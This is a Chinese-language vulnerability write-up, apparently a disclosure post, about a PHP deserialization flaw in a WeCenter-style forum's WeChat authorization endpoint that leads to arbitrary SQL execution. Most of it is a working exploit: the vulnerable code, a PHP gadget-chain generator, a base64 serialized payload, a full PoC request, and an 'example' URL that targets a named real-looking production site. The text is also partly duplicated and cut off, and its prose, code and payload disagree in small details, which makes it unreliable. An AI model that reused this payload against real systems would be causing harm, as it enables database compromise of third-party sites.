/app/m/weixin.php:110 ``` <?php public function authorization_action() { $this->model('account')->logout(); unset(AWS_APP::session()->WXConnect); if (get_setting('weixin_account_role') != 'service') { H::redirect_msg(AWS_APP::lang()->_t('此功能只适用于通过微信认证的服务号')); } else if ($_GET['code'] OR $_GET['state'] == 'OAUTH') { if ($_GET['state'] == 'OAUTH') { $access_token = unserialize(base64_decode($_GET['access_token'])); } ``` 上面这句话将`$_GET['access_token']`解码以后进行反序列化。当然这个点存在利用条件,那就是get_setting('weixin_account_role') != 'service',需要后台设置了微信认证服务号, 这里有`__destruct`函数,我们可以看到,这里直接遍历了_shutdown_query对象,将其值传入query直接执行。 明显存在一个任意SQL语句执行漏洞,只要我生成一个AWS_MODEL类对象,再其销毁的时候就能执行任意SQL语句。 构造的反序列化对象是一个数组,数组的第一个元素是error => true,第二个元素就是AWS_MODEL类对象。 代码如下: ``` <?php class AWS_MODEL { private $_shutdown_query; function __construct() { $this->_shutdown_query = [ "SELECT updatexml(1,concat(0xa,user()),1)" ]; } } $arr = [ 'errcode' => 1, new AWS_MODEL() ]; echo urlencode(base64_encode(serialize($arr))); ``` 生成出来的: ```...
/app/m/weixin.php:110 ``` <?php public function authorization_action() { $this->model('account')->logout(); unset(AWS_APP::session()->WXConnect); if (get_setting('weixin_account_role') != 'service') { H::redirect_msg(AWS_APP::lang()->_t('此功能只适用于通过微信认证的服务号')); } else if ($_GET['code'] OR $_GET['state'] == 'OAUTH') { if ($_GET['state'] == 'OAUTH') { $access_token = unserialize(base64_decode($_GET['access_token'])); } ``` 上面这句话将`$_GET['access_token']`解码以后进行反序列化。当然这个点存在利用条件,那就是get_setting('weixin_account_role') != 'service',需要后台设置了微信认证服务号, 这里有`__destruct`函数,我们可以看到,这里直接遍历了_shutdown_query对象,将其值传入query直接执行。 明显存在一个任意SQL语句执行漏洞,只要我生成一个AWS_MODEL类对象,再其销毁的时候就能执行任意SQL语句。 构造的反序列化对象是一个数组,数组的第一个元素是error => true,第二个元素就是AWS_MODEL类对象。 代码如下: ``` <?php class AWS_MODEL { private $_shutdown_query; function __construct() { $this->_shutdown_query = [ "SELECT updatexml(1,concat(0xa,user()),1)" ]; } } $arr = [ 'errcode' => 1, new AWS_MODEL() ]; echo urlencode(base64_encode(serialize($arr))); ``` 生成出来的: ``` YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjQwOiJTRUxFQ1QgdXBkYXRleG1sKDEsY29uY2F0KDB4YSxtZDUoMSkpLDEpIjt9fX0%3D ``` 完整POC: ``` ?/m/weixin/authorization/&state=OAUTH&access_token=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjQwOiJTRUxFQ1QgdXBkYXRleG1sKDEsY29uY2F0KDB4YSxtZDUoMSkpLDEpIjt9fX0%3D ``` 例子: ``` http://wwwspace.infinitus.com.cn/club/?/m/weixin/authorization/&state=OAUTH&access_token=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjQwOiJTRUxFQ1QgdXBkYXRleG1sKDEsY29uY2F0KDB4YSxtZDUoMSkpLDEpIjt9fX0%3D ```